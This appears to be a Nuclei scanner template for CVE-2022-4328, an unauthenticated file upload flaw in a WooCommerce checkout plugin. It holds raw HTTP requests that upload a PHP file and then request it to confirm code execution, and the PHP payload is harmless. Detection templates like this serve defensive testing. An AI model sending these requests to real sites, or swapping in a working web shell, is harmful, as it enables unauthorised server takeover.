2023-05-06 12:12:20 +00:00
id : CVE-2022-4328
info :
name : WooCommerce Checkout Field Manager < 18.0 - Arbitrary File Upload
author : theamanrawat
severity : critical
description : |
The WooCommerce Checkout Field Manager WordPress plugin before 18.0 does not validate files to be uploaded, which could allow unauthenticated attackers to upload arbitrary files such as PHP on the server.
2023-09-06 11:59:08 +00:00
remediation : Fixed in version 18.0
2023-05-06 12:12:20 +00:00
reference :
- https://wpscan.com/vulnerability/4dc72cd2-81d7-4a66-86bd-c9cfaf690eed
- https://wordpress.org/plugins/n-media-woocommerce-checkout-fields/
- https://nvd.nist.gov/vuln/detail/CVE-2022-4328
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score : 9.8
cve-id : CVE-2022-4328
cwe-id : CWE-434
2023-12-12 11:07:52 +00:00
epss-score : 0.44595
epss-percentile : 0.97033
2023-09-06 11:59:08 +00:00
cpe : cpe:2.3:a:najeebmedia:woocommerce_checkout_field_manager:*:*:*:*:*:wordpress:*:*
2023-05-06 12:12:20 +00:00
metadata :
2023-06-04 08:13:42 +00:00
verified : true
2023-09-06 11:59:08 +00:00
max-request : 2
2023-07-11 19:49:27 +00:00
vendor : najeebmedia
product : woocommerce_checkout_field_manager
2023-09-06 11:59:08 +00:00
framework : wordpress
2023-12-05 09:50:33 +00:00
tags : wp,n-media-woocommerce-checkout-fields,wpscan,cve,cve2022,rce,wordpress,wp-plugin,intrusive,najeebmedia
2023-05-06 12:12:20 +00:00
http :
- raw :
- |
POST /wp-admin/admin-ajax.php?action=cfom_upload_file&name={{randstr}}.pHp HTTP/1.1
Host : {{Hostname}}
Content-Type : multipart/form-data; boundary=------------------------22728be7b3104597
--------------------------22728be7b3104597
Content-Disposition : form-data; name="file"; filename="{{randstr}}.php"
Content-Type : application/octet-stream
<?php echo md5("CVE-2022-4328"); ?>
--------------------------22728be7b3104597--
- |
GET /wp-content/uploads/cfom_files/{{to_lower('{{randstr}}')}}.php HTTP/1.1
Host : {{Hostname}}
matchers-condition : and
matchers :
- type : word
part : body
words :
2023-07-11 19:49:27 +00:00
- fe5df26ce4ca0056ffae8854469c282f
2023-05-06 12:12:20 +00:00
- type : word
part : header
words :
2023-07-11 19:49:27 +00:00
- text/html
2023-05-06 12:12:20 +00:00
- type : status
status :
- 200
2023-12-12 12:02:03 +00:00
# digest: 4a0a0047304502203a5f14284df262c35a66cf1fbd878e8e14c5938585641e03ec37bb826196f58502210096dc0cdf0e762dfadb241b4a8b4542ec058d4d964eeff42212a13b988f7d3519:922c64590222798bb761d5b6d8e72950